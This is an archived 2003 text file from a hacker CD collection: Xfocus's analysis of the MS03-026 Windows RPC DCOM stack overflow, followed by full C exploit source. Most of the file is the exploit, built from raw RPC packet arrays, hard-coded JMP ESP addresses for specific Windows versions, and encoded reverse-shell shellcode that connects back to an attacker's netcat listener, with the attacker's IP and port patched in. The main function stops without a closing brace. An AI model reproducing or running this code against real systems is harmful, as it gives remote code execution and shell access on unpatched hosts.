home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / benjurry / benjurry.txt
Encoding:
Text File  |  2003-08-20  |  17.3 KB  |  335 lines

  1. The  Analysis  of LSD's Buffer Overrun in Windows RPC Interface
  2. Author:Flashsky
  3. site:www.xfocus.org WWW.VENUSTECH.COM.CN WWW.SHOPSKY.COM
  4. Email:flashsky@xfocus.org
  5. Translator:Benjurry 
  6. Email:Benjurry@xfocus.org
  7. Code by Flashsky and Benjurry
  8.  
  9.  
  10. http://www.xfocus.org/documents/200307/2.html
  11.  
  12. Foreword
  13. On Jul 16th, 2003,LSD published that they had discovered a critical security vulnerability in all recent versions of Microsoft operating systems. The vulnerability affects default installations of Windows NT 4.0, Windows 2000, Windows XP as well as Windows 2003 Server.But they didn't publish codes or any technical details.For analysing and exploit the vulnerability,Members of Xfocus have researched the  problem and read the code day after night.Through the process,we find the "Microsoft Windows 2000 RPC DCOM Interface DOS AND  Privilege Escalation Vulnerability",and now we have gotton the reason of vulnerability found by LSD.We thanks all members of xfocus and yuange,EYAS,IPXODI,these guys gave us much help.And at the same time, we admire LSD for their brightness.
  14.  
  15. Analysis
  16.  
  17. In fact,MS03-026 fix two vulnerabilities,one is the local stack overflow and the other is remote stack overflow .They  both result from the same interface,the improper API is following: 
  18. HRESULT CoGetInstanceFromFile(
  19.   COSERVERINFO * pServerInfo, 
  20.   CLSID * pclsid,
  21.   IUnknown * punkOuter,
  22.   DWORD dwClsCtx,
  23.   DWORD grfMode,
  24.   OLECHAR * szName,
  25.   ULONG cmq,
  26.   MULTI_QI * rgmqResults
  27. );
  28.  
  29.  
  30. The sixth Parameter is szName ,In MSDN it is said: File to initialize the object with using IPersistFile::Load. May not be NULL. This parameter will result in buff overflow.
  31. hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi);
  32.  
  33. When the filename is too long ,the windows will produce a local buff voerflow,because the GetPathForServer function of RPCSS only has 0x220 space. however the API checks the file in local first ,and we can't create a file which filename is long than 0x220.So we can't use this API to expoit, but we can use fuction of LPC by constructing packet .  Here we only focus on remote stack overflow:)
  34.  
  35. After the client transfer the Parameter to the server, the server will translate it to format as following:
  36. Lí░\\servername\c$\1234561111111111111111111111111.doc".
  37. Then the server will get the servername first,But here is wrong, the windows Does not check the parameter,only assigns the stack of 0x20 , 0x20 is  MAX  length of NETBIOS name.Then buff overflow comes into being.
  38. the key code is list as following:
  39.  
  40.  
  41. GetPathForServerú║
  42. .text:761543DA                 push    ebp
  43. .text:761543DB                 mov     ebp, esp
  44. .text:761543DD                 sub     esp, 20h  <-----the length is ony 0x20
  45. .text:761543E0                 mov     eax, [ebp+arg_4]
  46. .text:761543E3                 push    ebx
  47. .text:761543E4                 push    esi
  48. .text:761543E5                 mov     esi, [ebp+hMem]
  49. .text:761543E8                 push    edi
  50. .text:761543E9                 push    5Ch
  51. .text:761543EB                 pop     ebx
  52. .text:761543EC                 mov     [eax], esi
  53. .text:761543EE                 cmp     [esi], bx
  54. .text:761543F1                 mov     edi, esi
  55. .text:761543F3                 jnz     loc_761544BF
  56. .text:761543F9                 cmp     [esi+2], bx
  57. .text:761543FD                 jnz     loc_761544BF
  58. .text:76154403                 lea     eax, [ebp+String1] <-----------addr to place servername ,only have the length of 0X20
  59. .text:76154406                 push    0
  60. .text:76154408                 push    eax
  61. .text:76154409                 push    esi        <----------------------here is the parameter of filename 
  62. .text:7615440A                 call    GetMachineName
  63. ..........................................................  when the fuction return ,it will be buffer overflow.
  64.  
  65. GetMachineName:
  66. .text:7614DB6F                 mov     eax, [ebp+arg_0]
  67. .text:7614DB72                 mov     ecx, [ebp+arg_4]
  68. .text:7614DB75                 lea     edx, [eax+4]
  69. .text:7614DB78                 mov     ax, [eax+4]
  70. .text:7614DB7C                 cmp     ax, 5Ch          <-----------------check if it is 0X5C,if yes,the servername is over 
  71. .text:7614DB80                 jz      short loc_7614DB93
  72. .text:7614DB82                 sub     edx, ecx
  73. .text:7614DB84 
  74. .text:7614DB84 loc_7614DB84:                           ; CODE XREF: sub_7614DA19+178j
  75. .text:7614DB84                 mov     [ecx], ax      <----------------write the servername to addr,if longer than 0x20,buff overflow comes into being
  76. .text:7614DB87                 inc     ecx
  77. .text:7614DB88                 inc     ecx
  78. .text:7614DB89                 mov     ax, [ecx+edx]
  79. .text:7614DB8D                 cmp     ax, 5Ch
  80. .text:7614DB91                 jnz     short loc_7614DB84
  81. .text:7614DB93 
  82.  
  83. Now here we find the problem and can exploit it.The only question is that the "\\servername" is named bye system,but we can construct it  ourselves by sending malformed messages.
  84. BTW,there can't include "0x5c" in the shellcode because the function GetMachineName checks it .
  85.  
  86.  
  87. Exploit:
  88. 1íóThe exploit uses JMP ESP (FF E4)to jump ,so we should adjuse the address to other windows version;
  89. 2íóThe shellcode can connect reversedú¼so we should run nc -l -p XXX first;
  90. 3íóThe length of shellcode must be sizeof(shellcode)%16=12 ,if not please fill with 0x90,or the packet formatof RPC will be wrong;
  91. 4íóBefore the buffer overflow return ,the 2 Parameters after return address need to be used ,so we should these addresses can be written.
  92. 5íóThe exploit use JMP ESP,and we can expoit by overlaying SEH.
  93.  
  94.  
  95. #include <stdio.h>
  96. #include <winsock2.h>
  97. #include <windows.h>
  98. #include <process.h>
  99. #include <string.h>
  100. #include <winbase.h>
  101. #pragma  comment(lib,"ws2_32")
  102.  
  103. unsigned char bindstr[]={
  104. 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
  105. 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
  106. 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
  107. 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
  108. 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
  109.  
  110. unsigned char request1[]={
  111. 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
  112. ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
  113. ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
  114. ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
  115. ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
  116. ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
  117. ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
  118. ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
  119. ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
  120. ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
  121. ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
  122. ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
  123. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
  124. ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
  125. ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  126. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
  127. ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
  128. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
  129. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
  130. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
  131. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
  132. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
  133. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
  134. ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
  135. ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
  136. ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
  137. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
  138. ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  139. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  140. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  141. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  142. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
  143. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
  144. ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
  145. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
  146. ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
  147. ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
  148. ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
  149. ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  150. ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
  151. ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
  152. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
  153. ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
  154. ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
  155. ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
  156. ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  157. ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
  158. ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
  159. ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  160. ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
  161. ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
  162. ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  163. ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
  164. ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
  165. ,0x00,0x00,0x00,0x00,0x00,0x00};
  166.  
  167. unsigned char request2[]={
  168. 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
  169. ,0x00,0x00,0x5C,0x00,0x5C,0x00};
  170.  
  171. unsigned char request3[]={
  172. 0x5C,0x00
  173. ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
  174. ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
  175. ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
  176. ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
  177.  
  178.  
  179.  
  180.  
  181. unsigned int jmpesp_cn_sp3 = "\x29\x2c\xe2\x77";
  182. unsigned int jmpesp_cn_sp4 = "\x29\x4c\xdf\x77";
  183. unsigned int jmpesp_en_xp_sp1="\xdb\x37\xd7\x77";
  184.  
  185.  
  186. unsigned char sc[]=
  187.     "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
  188.     "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
  189.     "\x46\x00\x58\x00\x46\x00\x58\x00"
  190.  
  191.     
  192.     "\x29\x4c\xdf\x77"//jmp esp 's address on Windows 2k SP4 Chinese version.
  193.     "\x38\x6e\x16\x76\x0d\x6e\x16\x76"  //should be address which can be written.
  194.         //here is SHELLCODEú¼we can use our SHELLCODEú¼but the length must be sizeof(shellcode)%16=12 ,if not please fill with 0x90 
  195.         //SHELLCODE can't has the code such as 0X00 and 0X5C
  196.     "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
  197.     "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
  198.     "\x93\x40\xe2\xfa"
  199.     // code 
  200.     "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
  201.     "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
  202.     "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
  203.     "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
  204.     "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
  205.     "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
  206.     "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
  207.     "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
  208.     "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
  209.     "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
  210.     "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
  211.     "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
  212.     "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
  213.     "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
  214.     "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
  215.     "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
  216.     "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
  217.     "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
  218.     "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
  219.     "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
  220.     "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
  221.     "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
  222.     "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
  223.     "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
  224.     "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
  225.     "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
  226.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
  227.  
  228. unsigned char request4[]={
  229. 0x01,0x10
  230. ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
  231. ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
  232. ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  233. };
  234.  
  235. void main(int argc,char ** argv)
  236. {
  237.     WSADATA WSAData;
  238.     SOCKET sock;
  239.     int len,len1;
  240.     SOCKADDR_IN addr_in;
  241.     short port=135;
  242.     unsigned char buf1[0x1000];
  243.     unsigned char buf2[0x1000];
  244.     unsigned short port1;
  245.     DWORD cb;
  246.     
  247.     printf("RPC DCOM overflow Vulnerability discoveried by LSD\n");
  248.     printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n");
  249.     printf("Welcome to our English Site: http://www.xfocus.org\n");
  250.     printf("Welcome to our Chinese Site: http://www.xfocus.net\n");
  251.  
  252.  
  253. if(argc<5)
  254. {
  255.   printf("useage:%s targetip localIP LocalPort SPVersion\n",argv[0]);
  256.    printf("SPVersion:\n0 w2k Chinese version +sp3\n 1 w2k Chinese version +SP4\n 2 winxp English version +sp1\n");
  257. exit(1);
  258. }
  259.  
  260. if(atoi(argv[4])==0)
  261. memcpy(sc+36,jmpesp_cn_sp3,sizeof(jmpesp_cn_sp3));
  262. else if (atoi(argv[4])==1)
  263. memcpy(sc+36,jmpesp_cn_sp4,sizeof(jmpesp_cn_sp4));
  264. else if (atoi(argv[4])==2)
  265. memcpy(sc+36,jmpesp_en_xp_sp1,sizeof(jmpesp_en_xp_sp1));
  266.  
  267.  
  268.     if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
  269.     {
  270.         printf("WSAStartup error.Error:%d\n",WSAGetLastError());
  271.         return;
  272.     }
  273.  
  274.     addr_in.sin_family=AF_INET;
  275.     addr_in.sin_port=htons(port);
  276.     addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
  277.     
  278.     if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
  279.     {
  280.         printf("Socket failed.Error:%d\n",WSAGetLastError());
  281.         return;
  282.     }
  283.     if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
  284.     {
  285.         printf("Connect failed.Error:%d",WSAGetLastError());
  286.         return;
  287.     }
  288.     port1 = htons(atoi(argv[3]));  
  289.     port1 ^= 0x9393;
  290.     cb=inet_addr(argv[2]);
  291.     cb ^= 0x93939393;
  292.     *(unsigned short *)&sc[330+0x30] = port1;
  293.     *(unsigned int *)&sc[335+0x30] = cb;
  294.     len=sizeof(sc);
  295.     memcpy(buf2,request1,sizeof(request1));
  296.     len1=sizeof(request1);
  297.     *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;  
  298.     *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;
  299.     memcpy(buf2+len1,request2,sizeof(request2));
  300.     len1=len1+sizeof(request2);
  301.     memcpy(buf2+len1,sc,sizeof(sc));
  302.     len1=len1+sizeof(sc);
  303.     memcpy(buf2+len1,request3,sizeof(request3));
  304.     len1=len1+sizeof(request3);
  305.     memcpy(buf2+len1,request4,sizeof(request4));
  306.     len1=len1+sizeof(request4);
  307.     *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
  308.  
  309.     *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;  
  310.     *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
  311.     *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
  312.     *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
  313.     *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
  314.     *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
  315.     *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
  316.     if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
  317.     {
  318.             printf("Send failed.Error:%d\n",WSAGetLastError());
  319.             return;
  320.     }
  321.     
  322.     len=recv(sock,buf1,1000,NULL);
  323.     if (send(sock,buf2,len1,0)==SOCKET_ERROR)
  324.     {
  325.             printf("Send failed.Error:%d\n",WSAGetLastError());
  326.             return;
  327.     }
  328.     len=recv(sock,buf1,1024,NULL);
  329.  
  330. About XFOCUS.ORG
  331.    Xfocus is a non-profit and free technology organization which was founded in 1998 in China. We are devoting to research and demonstration of weaknesses related to network services and communication security.
  332. We hope that we can use new technical tools to achieve our goal, and to broaden our outlook. We also hope we can communicate and help with each other through this amazing Internet.
  333.    
  334.    From the Internet. For the Internet. Have fun!